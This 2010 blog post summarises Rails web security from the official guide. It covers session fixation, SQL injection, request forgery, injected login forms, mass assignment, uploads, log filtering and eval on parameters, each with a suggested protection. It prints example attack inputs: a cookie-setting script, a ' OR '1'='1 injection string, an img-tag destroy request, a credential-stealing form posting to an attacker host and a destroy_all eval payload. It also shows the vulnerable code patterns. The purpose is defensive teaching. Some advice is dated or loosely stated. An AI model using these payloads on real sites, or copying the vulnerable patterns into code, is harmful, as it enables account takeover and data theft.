Saturday, February 13, 2010

Security of rails Application on WEB

Session Fixation:
1. In the figure(http://guides.rubyonrails.org/images/session_fixation.png), suppose a hacker login to the server with his own credential

2. Server will store his information into session against client’s _session_id (server generates this id if there is no session id already created). Next time when this client requests this session information, server will response against that _session_id.

3. Now suppose hacker becomes able to execute a script like hacker wrote a comment with following script to client’s blog post: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>.

4. Suppose client refreshes his blog post page. Now client’s session id becomes equal with hacker’s session id!!!.

5. Now any one from client or hacker will get client’s credential from session!!!

6. Thus hacker will get client’s credential and do all as client

Protection:
Reset all session before login and store session information for login request like:

reset_session
Session[:user] = User from DB


SQL Injection:
Suppose we have
User.first(:conditions=>["username= #{params[:username]} AND password= #{params[:password]}"])

Will generate:
SELECT * FROM users where username=params[:username] AND password=params[:password] limit 1

What if you pass params[:password]=' OR '1'='1 ???

Will generate:
SELECT * FROM users where username=‘abc’ AND password=‘’ OR ‘1’=‘1’
The query is true and now hacker is logedin!!! For the first user credential

Protection:
Use ? In string like:
User.first(:conditions=>["username=? AND pass=?",params[:username],params[:pass]])

Use place holder like
User.first(:conditions=>"username=:username AND pass=:pass",{:username=>params[:username], :pass=> params[:pass]})

Use Hash like:
User.first(:conditions => {:username => params[:username], :password => params[:pass]})

Use to_i for integer type data
User.find(params[:id].to_i)


Phishing(1):
If a hacker writes HTML code in comment like:
<img src="http://www.domain.com/projects/destroy/1" >
than this img tag will request for an image source. Actually this src will make a request to projects controller, destroy method. Generally we check when destroy anything like:

def destroy
project = Project.find(params[:id])
if(session_user && session_user.id == project.user_id)
project.destroy()
end
end

IF CONDITION will be true and hacker will be able to destroy client’s projects!!!

Protection:
Verify requested method whether it is GET or POST in controller and in view use h() method before the comment body like
<%= h blog.comments.first.body %>
[Actually don’t trust user given input data]

Phishing(2):
If hacker writes HTML code of site’s login form into his comment like:

<div class="login_form" >
<form action="http://www.hackar.com/hack">
Username: <input type="text" name="username" >
Password: <input type="password" name=”password”>
</form>
</div>

And the fool client fills out his username and password with this injected login form than hacker will be able to grab client’s credential!

Protection:
call protect_from_forgery method from ApplicationController
which will generates a hidden field with a token into all html form like

<input name=“authentecity_token" value=“d8192312u3n123123091" type=“hidden" >

When user submits this form server will check the submitted token against generated token.


Mass assignment:
Suppose we have users table with a column name role_id. If role id is 1 then the user will be Admin than our conventional registration/profile form will be like:

<form action="/users/create" method="post">
Username: <input name="[user][username]" type="text">
Password: <input name="[user][password]" type="text">
Email: <input name="[user][email]" type="text" >
First Name: <input name="[user][first_name]" type="text" >
Last Name: <input name="[user][last_name]" type="text" >
</form>

Using FIREBUG if I push <input nanme="user[role_id]" value="1" type="hidden" > into this form then any user will be able to become Admin!

Protection:
Make role_id protected in user model which will be nil when user object is created

To update this field from admin follow:
model.rol_id = 1
model.save(false)


File Upload & Download:
Do not place file in Rails/public if it is Apache’s home directory because it may be executed (like file.php) when requested

Always use send_file method for download
Check file type when upload

Log file:
All rails generated SQL, error report, responses are logged in log file

In ApplicationController use the method bellow:
filter_parameter_logging :password



Part of Log File:
Parameters: {"commit"=>"Save", "action"=>"create", "controller"=>"[FILTERED]", “user"=>{“password"=>"[FILTERED]", “username"=>“abc"}}

Don’t use eval with params:
Eval(params[:model]).find(1)
What’s happened if you pass params[:model] = “User.destroy_all”

It will become:
Eval(“User.destroy_all”).find(1) !!!!!!!

Protection:
params[:model].constantize.find(1)

Reference: http://guides.rubyonrails.org/security.html

4 comments: